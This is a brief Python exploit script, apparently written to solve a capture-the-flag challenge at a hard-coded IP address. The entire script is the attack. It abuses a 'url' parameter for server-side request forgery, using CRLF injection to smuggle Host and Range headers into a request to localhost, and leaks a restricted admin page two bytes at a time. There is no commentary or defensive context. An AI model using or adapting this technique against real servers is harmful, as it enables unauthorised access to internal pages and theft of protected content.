#!/usr/bin/python import requests import string import sys sessions = [] step = 2 for i in range(0,127,step): r = requests.get('http://58.229.183.24/188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost/188f6594f694a3ca082f7530b5efc58dedf81b8d/admin/index.ph%2570%20HTTP/1.0%0aHost:%20hackme%0aRange:% 20bytes=' + str(i) + '-' + str(i+step-1) + '%0a%0a') pos = string.rfind(r.text, "silver>")+len("silver><xmp>")+4 sys.stdout.write(r.text[pos:pos+step]) sys.stdout.flush()